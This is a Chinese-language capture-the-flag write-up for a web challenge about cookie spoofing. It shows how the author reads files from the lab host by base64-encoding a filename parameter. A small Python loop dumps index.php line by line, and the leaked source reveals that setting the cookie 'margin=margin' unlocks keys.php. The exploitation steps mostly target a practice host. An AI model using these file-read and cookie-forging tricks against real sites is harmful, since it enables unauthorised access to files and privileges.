0×00 靶场链接
http://123.206.87.240:8002/web11/
0×01 题目描述
0×02 解题过程
cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录
点开链接是一段看不出什么的字符
URL:123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
然后发现filename是一个base64编码,解码一下
keys.txt
尝试用url读取一下其他文件,比如index.php,由于前面都是经过base64编码的,因此我们也编码试试
aW5kZXgucGhw
URL: 123.206.87.240:8002/web11/index.php?line=&filename= aW5kZXgucGhw
哈哈哈哈啥也没有
似乎是因为没有修改line,那么为空值的话自然什么也找不出来,所以把line值修改为1
URL: 123.206.87.240:8002/web11/index.php?line=1&filename= aW5kZXgucGhw
这样一行行读取就太麻烦了,使用python脚本
import requests
a=30
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
得到index.php
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");//访问的地址
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//需要修改为margin=margin
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>